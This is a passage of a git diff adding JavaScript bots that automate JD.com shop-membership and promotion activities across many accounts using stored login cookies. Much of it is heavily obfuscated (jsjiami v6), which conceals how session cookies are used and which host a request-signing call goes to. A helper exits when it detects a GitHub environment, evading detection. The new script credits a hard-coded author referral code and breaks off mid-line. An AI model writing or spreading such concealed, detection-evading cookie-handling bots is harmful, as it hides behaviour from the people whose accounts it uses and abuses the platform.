x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x61\x57\x4a\x49\x5a\x48\x45\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x55\x64\x48\x65\x6e\x67\x3d','\x61\x58\x46\x34\x57\x55\x38\x3d','\x59\x56\x52\x6b\x65\x6d\x55\x3d','\x62\x56\x52\x51\x65\x55\x63\x3d','\x5a\x32\x56\x30','\x6a\x6b\x73\x6a\x45\x69\x48\x61\x6d\x69\x64\x53\x2e\x63\x54\x6f\x6d\x43\x2e\x76\x36\x68\x6c\x45\x45\x56\x50\x75\x56\x3d\x3d'];if(function(_0x47dca4,_0x2e45a0,_0x2d0d38){function _0x358c40(_0x4e0fee,_0x44d395,_0x5f1629,_0x6d2cae,_0x379df8,_0x59c1d4){_0x44d395=_0x44d395>>0x8,_0x379df8='po';var _0x24e0cd='shift',_0x197297='push',_0x59c1d4='‮';if(_0x44d395<_0x4e0fee){while(--_0x4e0fee){_0x6d2cae=_0x47dca4[_0x24e0cd]();if(_0x44d395===_0x4e0fee&&_0x59c1d4==='‮'&&_0x59c1d4['length']===0x1){_0x44d395=_0x6d2cae,_0x5f1629=_0x47dca4[_0x379df8+'p']();}else if(_0x44d395&&_0x5f1629['replace'](/[kEHdSTChlEEVPuV=]/g,'')===_0x44d395){_0x47dca4[_0x197297](_0x6d2cae);}}_0x47dca4[_0x197297](_0x47dca4[_0x24e0cd]());}return 0xdaf2e;};return _0x358c40(++_0x2e45a0,_0x2d0d38)>>_0x2e45a0^_0x2d0d38;}(_0x1acd,0x1d5,0x1d500),_0x1acd){_0xod7_=_0x1acd['length']^0x1d5;};function _0x27de(_0x4ab799,_0x2148e0){_0x4ab799=~~'0x'['concat'](_0x4ab799['slice'](0x1));var _0x38aa70=_0x1acd[_0x4ab799];if(_0x27de['HEabFd']===undefined&&'‮'['length']===0x1){(function(){var _0x48587b=function(){var _0x226fa7;try{_0x226fa7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x302471){_0x226fa7=window;}return _0x226fa7;};var _0x2dcb25=_0x48587b();var _0x5d0b0e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2dcb25['atob']||(_0x2dcb25['atob']=function(_0x41138d){var _0x37290e=String(_0x41138d)['replace'](/=+$/,'');for(var _0x1da2f9=0x0,_0x27e844,_0x496c4d,_0x55ec30=0x0,_0x46993b='';_0x496c4d=_0x37290e['charAt'](_0x55ec30++);~_0x496c4d&&(_0x27e844=_0x1da2f9%0x4?_0x27e844*0x40+_0x496c4d:_0x496c4d,_0x1da2f9++%0x4)?_0x46993b+=String['fromCharCode'](0xff&_0x27e844>>(-0x2*_0x1da2f9&0x6)):0x0){_0x496c4d=_0x5d0b0e['indexOf'](_0x496c4d);}return _0x46993b;});}());_0x27de['ciicrd']=function(_0x35e622){var _0x1ca022=atob(_0x35e622);var _0x460af0=[];for(var _0x27de2b=0x0,_0x1b5b31=_0x1ca022['length'];_0x27de2b<_0x1b5b31;_0x27de2b++){_0x460af0+='%'+('00'+_0x1ca022['charCodeAt'](_0x27de2b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x460af0);};_0x27de['qeLOEi']={};_0x27de['HEabFd']=!![];}var _0x4e1a4f=_0x27de['qeLOEi'][_0x4ab799];if(_0x4e1a4f===undefined){_0x38aa70=_0x27de['ciicrd'](_0x38aa70);_0x27de['qeLOEi'][_0x4ab799]=_0x38aa70;}else{_0x38aa70=_0x4e1a4f;}return _0x38aa70;};function getShopOpenCardInfo(_0x2dfe13,_0x2a9c59){var _0x169e2b={'\x69\x71\x78\x59\x4f':function(_0x237960,_0x2865f7){return _0x237960===_0x2865f7;},'\x61\x54\x64\x7a\x65':_0x27de('‮0'),'\x6d\x54\x50\x79\x47':function(_0x5db734){return _0x5db734();},'\x78\x64\x6e\x42\x52':function(_0x27ef1f,_0x2696d1){return _0x27ef1f(_0x2696d1);},'\x52\x4a\x45\x53\x7a':_0x27de('‫1'),'\x6c\x76\x65\x76\x78':_0x27de('‫2'),'\x63\x58\x6a\x72\x70':_0x27de('‫3'),'\x69\x62\x48\x64\x71':_0x27de('‮4'),'\x65\x47\x47\x7a\x78':_0x27de('‫5')};let _0x4540b3={'\x75\x72\x6c':_0x27de('‮6')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,JSON[_0x27de('‫8')](_0x2dfe13))+_0x27de('‮9'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x169e2b[_0x27de('‮a')],'\x41\x63\x63\x65\x70\x74':_0x169e2b[_0x27de('‮b')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x169e2b[_0x27de('‫c')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x169e2b[_0x27de('‫12')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x2a9c59+_0x27de('‮14')+_0x169e2b[_0x27de('‮7')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x169e2b[_0x27de('‮16')]}};return new Promise(_0x24d014=>{var _0x45d140={'\x4b\x72\x53\x57\x63':function(_0x564cc4,_0x316683){return _0x169e2b[_0x27de('‫17')](_0x564cc4,_0x316683);},'\x4c\x63\x4b\x6e\x79':_0x169e2b[_0x27de('‫18')],'\x54\x45\x49\x61\x6f':function(_0x32cebc){return _0x169e2b[_0x27de('‫19')](_0x32cebc);}};$[_0x27de('‫1a')](_0x4540b3,(_0x497df1,_0x18ad2f,_0x1d037c)=>{if(_0x45d140[_0x27de('‮1b')](_0x45d140[_0x27de('‮1c')],_0x45d140[_0x27de('‮1c')])){try{if(_0x497df1){console[_0x27de('‫1d')](_0x497df1);}else{res=JSON[_0x27de('‫1e')](_0x1d037c);if(res[_0x27de('‮1f')]){if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}}catch(_0x487efd){console[_0x27de('‫1d')](_0x487efd);}finally{_0x45d140[_0x27de('‮25')](_0x24d014);}}else{console[_0x27de('‫1d')](_0x497df1);}});});}async function bindWithVender(_0x4bf9aa,_0x5a230c){var _0x5180ad={'\x4d\x59\x68\x4c\x43':function(_0x396660){return _0x396660();},'\x6d\x77\x78\x44\x6d':function(_0x4b2169,_0x405a0d){return _0x4b2169!==_0x405a0d;},'\x7a\x56\x69\x61\x6e':_0x27de('‫26'),'\x45\x41\x49\x42\x41':_0x27de('‫27'),'\x49\x6a\x73\x62\x4a':function(_0xcf4ea9,_0x3221b8){return _0xcf4ea9===_0x3221b8;},'\x55\x4b\x72\x68\x55':_0x27de('‫28'),'\x57\x6b\x62\x48\x4c':_0x27de('‫29'),'\x4c\x52\x48\x6a\x4c':_0x27de('‮2a'),'\x4f\x43\x43\x4e\x77':_0x27de('‫2b'),'\x57\x5a\x73\x59\x5a':_0x27de('‫2c'),'\x57\x73\x6b\x70\x78':_0x27de('‮2d'),'\x45\x64\x7a\x6d\x68':function(_0x148959,_0x176008,_0x319ba8){return _0x148959(_0x176008,_0x319ba8);},'\x50\x75\x57\x6e\x46':_0x27de('‮2e'),'\x47\x76\x6e\x52\x55':_0x27de('‫1'),'\x46\x56\x6a\x4b\x45':_0x27de('‫2'),'\x54\x6e\x62\x73\x4b':_0x27de('‫3'),'\x6a\x79\x46\x4f\x50':_0x27de('‮4'),'\x61\x4c\x7a\x6b\x57':function(_0x3768db,_0x1db8ba){return _0x3768db(_0x1db8ba);},'\x56\x6b\x6e\x6f\x74':_0x27de('‫5')};return h5st=await _0x5180ad[_0x27de('‮2f')](geth5st,_0x5180ad[_0x27de('‮30')],_0x4bf9aa),opt={'\x75\x72\x6c':_0x27de('‮31')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5180ad[_0x27de('‮32')],'\x41\x63\x63\x65\x70\x74':_0x5180ad[_0x27de('‫33')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5180ad[_0x27de('‮34')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x27de('‫d')+$[_0x27de('‫e')]+_0x27de('‫f')+$[_0x27de('‫10')]+_0x27de('‫11'),'Accept-Language':_0x5180ad[_0x27de('‫35')],'\x52\x65\x66\x65\x72\x65\x72':_0x27de('‮13')+_0x5a230c+_0x27de('‮36')+_0x5180ad[_0x27de('‮37')](encodeURIComponent,$[_0x27de('‫15')]),'Accept-Encoding':_0x5180ad[_0x27de('‫38')]}},new Promise(_0x2c2848=>{var _0x1f470d={'\x69\x50\x64\x65\x78':function(_0x4c0bea){return _0x5180ad[_0x27de('‫39')](_0x4c0bea);},'\x42\x77\x65\x53\x57':function(_0x240905,_0x2118e5){return _0x5180ad[_0x27de('‫3a')](_0x240905,_0x2118e5);},'\x79\x6e\x59\x71\x72':_0x5180ad[_0x27de('‫3b')],'\x70\x6b\x4f\x75\x73':_0x5180ad[_0x27de('‮3c')],'\x5a\x65\x59\x6e\x58':function(_0x2ff734,_0x50b6d9){return _0x5180ad[_0x27de('‮3d')](_0x2ff734,_0x50b6d9);},'\x69\x58\x4d\x4f\x79':_0x5180ad[_0x27de('‫3e')],'\x6d\x56\x77\x79\x58':function(_0x43cb7f,_0x5f0fa8){return _0x5180ad[_0x27de('‮3d')](_0x43cb7f,_0x5f0fa8);},'\x50\x62\x4f\x41\x42':_0x5180ad[_0x27de('‫3f')],'\x4f\x78\x6d\x55\x66':_0x5180ad[_0x27de('‫40')],'\x49\x62\x44\x6d\x51':_0x5180ad[_0x27de('‫41')],'\x62\x64\x67\x73\x4d':_0x5180ad[_0x27de('‫42')],'\x5a\x4b\x78\x4a\x4e':_0x5180ad[_0x27de('‮43')]};$[_0x27de('‫1a')](opt,(_0x311afb,_0x3b7aab,_0x4c2873)=>{var _0x53384e={'\x6d\x4d\x51\x6b\x76':function(_0x26e196){return _0x1f470d[_0x27de('‫44')](_0x26e196);}};try{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫46')],_0x1f470d[_0x27de('‮47')])){if(_0x311afb){if(_0x1f470d[_0x27de('‫48')](_0x1f470d[_0x27de('‫49')],_0x1f470d[_0x27de('‫49')])){console[_0x27de('‫1d')](_0x311afb);}else{console[_0x27de('‫1d')](error);}}else{if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4b')],_0x1f470d[_0x27de('‮4c')])){_0x53384e[_0x27de('‮4d')](_0x2c2848);}else{res=JSON[_0x27de('‫1e')](_0x4c2873);if(res[_0x27de('‮1f')]){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‫4e')],_0x1f470d[_0x27de('‫4e')])){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}else{console[_0x27de('‫1d')](_0x311afb);}}}}}else{Host=process[_0x27de('‮51')][_0x27de('‫52')];}}catch(_0x317968){if(_0x1f470d[_0x27de('‮4a')](_0x1f470d[_0x27de('‮53')],_0x1f470d[_0x27de('‮53')])){console[_0x27de('‫1d')](_0x317968);}else{$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}finally{if(_0x1f470d[_0x27de('‮45')](_0x1f470d[_0x27de('‫54')],_0x1f470d[_0x27de('‫54')])){_0x1f470d[_0x27de('‫44')](_0x2c2848);}else{_0x1f470d[_0x27de('‫44')](_0x2c2848);}}});});}function geth5st(_0x1c2dc4,_0x38bbf9){var _0xad3eae={'\x76\x59\x42\x64\x48':function(_0xb6682a,_0x1dbeb1){return _0xb6682a===_0x1dbeb1;},'\x42\x4d\x46\x6b\x79':_0x27de('‮55'),'\x69\x75\x7a\x6b\x51':function(_0x521e0c,_0x1ffbd9){return _0x521e0c!==_0x1ffbd9;},'\x67\x48\x77\x45\x7a':_0x27de('‮56'),'\x53\x65\x4c\x46\x71':_0x27de('‮57'),'\x45\x6e\x58\x7a\x59':function(_0x4fa54e,_0x1f1dc2){return _0x4fa54e===_0x1f1dc2;},'\x50\x7a\x78\x71\x48':_0x27de('‮58'),'\x4e\x54\x41\x51\x50':function(_0x3fd51b,_0x32a444){return _0x3fd51b(_0x32a444);},'\x6b\x45\x71\x7a\x71':_0x27de('‫59'),'\x6a\x56\x58\x70\x71':_0x27de('‫5a'),'\x41\x6d\x4e\x72\x49':_0x27de('‮5b'),'\x71\x69\x42\x77\x67':_0x27de('‫5c'),'\x6c\x59\x56\x78\x6b':function(_0x2a05e2,_0x15824){return _0x2a05e2*_0x15824;},'\x44\x66\x5a\x6f\x68':_0x27de('‫5d'),'\x58\x43\x7a\x6e\x76':function(_0x46d10b,_0x5b5da1){return _0x46d10b*_0x5b5da1;}};return new Promise(async _0x573221=>{var _0x1c0efb={'\x4a\x47\x49\x4a\x4a':function(_0x30195c,_0x3fe97e){return _0xad3eae[_0x27de('‮5e')](_0x30195c,_0x3fe97e);},'\x63\x4c\x75\x59\x57':_0xad3eae[_0x27de('‫5f')],'\x4a\x65\x6d\x76\x48':function(_0x41b061,_0x2c0980){return _0xad3eae[_0x27de('‫60')](_0x41b061,_0x2c0980);},'\x54\x53\x65\x61\x46':_0xad3eae[_0x27de('‫61')],'\x66\x57\x66\x4f\x54':_0xad3eae[_0x27de('‮62')],'\x7a\x4f\x48\x74\x48':function(_0x1029f8,_0x21337a){return _0xad3eae[_0x27de('‮63')](_0x1029f8,_0x21337a);},'\x54\x5a\x6e\x42\x6a':_0xad3eae[_0x27de('‫64')],'\x6b\x47\x41\x51\x44':function(_0x1b9d1f,_0x3ee921){return _0xad3eae[_0x27de('‫65')](_0x1b9d1f,_0x3ee921);}};let _0x23db17={'\x61\x70\x70\x49\x64':_0xad3eae[_0x27de('‫66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0xad3eae[_0x27de('‫67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1c2dc4,'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x38bbf9),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0xad3eae[_0x27de('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x27de('‮24')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2402da='';let _0x25911c=[_0xad3eae[_0x27de('‮69')]];if(process[_0x27de('‮51')][_0x27de('‫52')]){_0x2402da=process[_0x27de('‮51')][_0x27de('‫52')];}else{_0x2402da=_0x25911c[Math[_0x27de('‫6a')](_0xad3eae[_0x27de('‫6b')](Math[_0x27de('‫6c')](),_0x25911c[_0x27de('‮6d')]))];}let _0x5f5ad9={'\x75\x72\x6c':_0x27de('‮6e'),'\x62\x6f\x64\x79':JSON[_0x27de('‫8')](_0x23db17),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2402da,'Content-Type':_0xad3eae[_0x27de('‮6f')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0xad3eae[_0x27de('‫70')](0x1e,0x3e8)};$[_0x27de('‮71')](_0x5f5ad9,async(_0x4a1749,_0x300e08,_0x23db17)=>{if(_0x1c0efb[_0x27de('‫72')](_0x1c0efb[_0x27de('‫73')],_0x1c0efb[_0x27de('‫73')])){try{if(_0x4a1749){if(_0x1c0efb[_0x27de('‮74')](_0x1c0efb[_0x27de('‮75')],_0x1c0efb[_0x27de('‮76')])){_0x23db17=await geth5st[_0x27de('‮77')](this,arguments);}else{if(res[_0x27de('‮20')][_0x27de('‮21')]){$[_0x27de('‮22')]=res[_0x27de('‮20')][_0x27de('‮21')][0x0][_0x27de('‫23')][_0x27de('‮24')];}}}else{}}catch(_0x580180){if(_0x1c0efb[_0x27de('‫78')](_0x1c0efb[_0x27de('‮79')],_0x1c0efb[_0x27de('‮79')])){$[_0x27de('‫7a')](_0x580180,_0x300e08);}else{if(_0x4a1749){console[_0x27de('‫1d')](_0x4a1749);}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}}}finally{_0x1c0efb[_0x27de('‫7b')](_0x573221,_0x23db17);}}else{res=JSON[_0x27de('‫1e')](_0x23db17);if(res[_0x27de('‮1f')]){console[_0x27de('‫1d')](res);$[_0x27de('‫4f')]=res[_0x27de('‮50')];}}});});};_0xod7='jsjiami.com.v6'; + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized28.js b/jd_lzdz1_customized28.js new file mode 100644 index 0000000..79158a6 --- /dev/null +++ b/jd_lzdz1_customized28.js @@ -0,0 +1,545 @@ +/* +甜蜜七夕 跨越时空中意你 +*/ +const $ = new Env("甜蜜七夕 跨越时空中意你"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require("./sendNotify") : ""; +let cookiesArr = [], cookie = "", message = ""; +let ownCode = null; +let authorCodeList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + let cookiesData = $.getdata("CookiesJD") || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map((item) => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata("CookieJD2"), $.getdata("CookieJD")]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter((item) => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://raw.githubusercontent.com/okyyds/duck/master/code/lzdz10.json') + // if ($.getAuthorCodeListerr === false) { + // authorCodeList = [ + // 'f7d7bcdc4d3e408ea0a584f27f617e4b', + // '78cd453ae0af483e8c7da5d3f8a857bd', + // '40619ea93a2c42c3ae46a1e37111a7ea', + // ] + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + originCookie = cookiesArr[i]; + newCookie = ""; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ""; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue; + } + $.bean = 0; + $.ADID = getUUID("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", 1); + $.UUID = getUUID("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); + authorCodeList = [ + 'f28c07d319e646ebbf5f1fdb5742e8fb', + // '8462a2fbeb32488fbe85d26d282f05c7', + // '4bd1f2cb22d14e13b8203467048fd2f4', + ]; + // $.authorCode = authorCodeList[random(0, authorCodeList.length)]; + $.authorCode = ownCode ? 